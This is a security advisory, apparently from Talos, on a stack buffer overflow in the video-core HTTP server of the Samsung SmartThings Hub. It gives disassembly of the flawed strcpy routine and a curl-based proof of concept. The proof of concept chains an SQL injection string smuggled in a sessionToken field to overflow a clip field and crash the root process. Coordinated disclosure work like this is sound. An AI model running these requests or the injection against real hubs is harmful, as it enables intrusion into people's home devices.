### Summary
An exploitable stack-based buffer overflow vulnerability exists in the
retrieval of database fields in `video-core`'s HTTP server of Samsung
SmartThings Hub. The `video-core` process insecurely extracts the fields
from the "clips" table of its SQLite database, leading to a buffer
overflow on the stack. An attacker can send a series of HTTP requests to
trigger this vulnerability.
### Tested Versions
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
### Product URLs
[https://www.smartthings.com/products/smartthings-hub](https://www.smartthings.com/products/smartthings-hub)
### CVSSv3 Score
7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
### CWE
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer
Overflow')
### Details
Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.
The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the `hubCore` process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they're
both in the same subnetwork.
Inside the hub, the livestream is handled by the `video-core` process,
which uses `ffmpeg` to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.
The remote SmartThings servers have the possibility to communicate with
the `video-core` process by sending messages in the persistent TLS
connection, established by the `hubCore` process. These messages can
encapsulate an HTTP request, which `hubCore` would relay directly to the
HTTP server exposed by `video-core`. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.
We identified a vulnerable function that can be exploited to achieve
code execution on the `video-core` process, which is running as root.
The hub allows to store clips information, which represent small
recordings that can be triggered on specific events. These are stored in
the "clips" table of `video-core`'s SQLite database (found at
"/hub/data/videocore/db/VideoCore.db").
Function `sub_12314` is used to retrieve all the columns from the
"clips" table and save them in a structure, stored on the stack, passed
as second argument.
.text:00012314 sub_12314
.text:00012314
.text:00012314 var_4 = -4
.text:00012314
.text:00012314 000 CMP R0, #0 ; [1]
.text:00012318 000 BEQ loc_1245C
.text:0001231C 000 CMP R1, #0 ; [2]
.text:00012320 000 BEQ loc_12444
.text:00012324 000 CMP R2, #0 ; [3]
...
.text:00012390 040 B loc_123D8
.text:00012394
.text:00012394 loc_12394
.text:00012394 040 CMP R0, #0
.text:00012398 040 BLT loc_12428
.text:0001239C 040 LDR R10, [R11,#-0x28]
.text:000123A0 040 ADD R6, R6, #1
.text:000123A4 040 MOV R0, R10
.text:000123A8 040 BL strlen
.text:000123AC 040 MOV R1, R10
.text:000123B0 040 STR R0, [R4,#-4]
.text:000123B4 040 MOV R0, R4
.text:000123B8 040 BL strcpy ; [5]
.text:000123BC 040 MOV R0, R10
.text:000123C0 040 BL free
.text:000123C4
.text:000123C4 loc_123C4
.text:000123C4 040 ADD R9, R9, #1
.text:000123C8 040 ADD R5, R5, #0x84
.text:000123CC 040 CMP R9, #0xF
.text:000123D0 040 ADD R4, R4, #0x204
.text:000123D4 040 BEQ loc_12428
.text:000123D8
.text:000123D8 loc_123D8
.text:000123D8 040 MOV R0, #1 ; db_id
.text:000123DC 040 MOV R1, R7 ; where
.text:000123E0 040 MOV R2, R5 ; column
.text:000123E4 040 SUB R3, R11, #0x28
.text:000123E8 040 STR R8, [R11,#-0x28]
.text:000123EC 040 BL db_find ; [4]
.text:000123F0 040 CMN R0, #6
.text:000123F4 040 BNE loc_12394
The function takes three arguments: the clip ID [1], the clip ID length
[2], and a structure [3] where all the columns for the related clip ID
should be stored. At [4] a query is performed for fetching just one
column:
SELECT <column> FROM clip WHERE _id='<clip-id>'
where "clip-id" is the first argument [1] and "column" is one of the
columns of the table. If `db_find` succeeds, the result is then copied
in the structure [3] using `strcpy` [5]. The input structure is
populated by repeating the same logic for each column:
_id
cameraId
locationId
dni
captureTime
startTime
endTime
correlationId
callbackUrl
callbackCalled
status
statusMessage
url
filePath
thumbnailId
Each element in the structure is supposed to have a maximum size of 512
bytes, but since there is no restriction on the length of the copy
operation, the buffer can be overflowed, and this allows for overflowing
the input structure and execute arbitrary code.
Note that while we scored this vulnerability CVSS 7.5 on its own, it
would constitute a CVSS 8.5
(CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with
TALOS-2018-0556. This is demonstrated in the proof of concepts below.
### Exploit Proof of Concept
Function `sub_12314` is called by multiple functions, in the following
proof of concept we show just one of the ways for triggering the
vulnerability, by crashing the `video-core` process. Note that it is
assumed that a camera already exists in the hub.
1- Add a clip
$ sClipId=1234
$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"2000-01-01T00:00:00","callbackUrl":"x","url":"x","correlationId":"'${sClipId}'"}'
2- Modify the "clips.captureTime" value in the database. This is possible, for example, using using TALOS-2018-0556:
$ sInj='","_id=0 where 1=2;update clip set captureTime=replace(substr(quote(zeroblob((9000 + 1) / 2)), 3, 9000), \\"0\\", \\"A\\") where _id='${sClipId}';--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'x/'}"
The first request will add a clip with id "1234", and after replying to
the request the hub will continue to operate on the new camera and will
call, among others, `sub_12314`. If the second request is executed
quickly enough (that is, before `sub_12314` is called), an attacker
could manage to execute the second request while the first request is
still being completed, in order to alter the content of the clip id
"1234" by setting an overlong "captureTime", which will cause
`video-core` to crash when handled by `sub_12314`.
### Timeline
* 2018-05-07 - Vendor Disclosure
* 2018-05-23 - Discussion with vendor/review of timeline for disclosure
* 2018-07-17 - Vendor patched
* 2018-07-26 - Public Release
暂无评论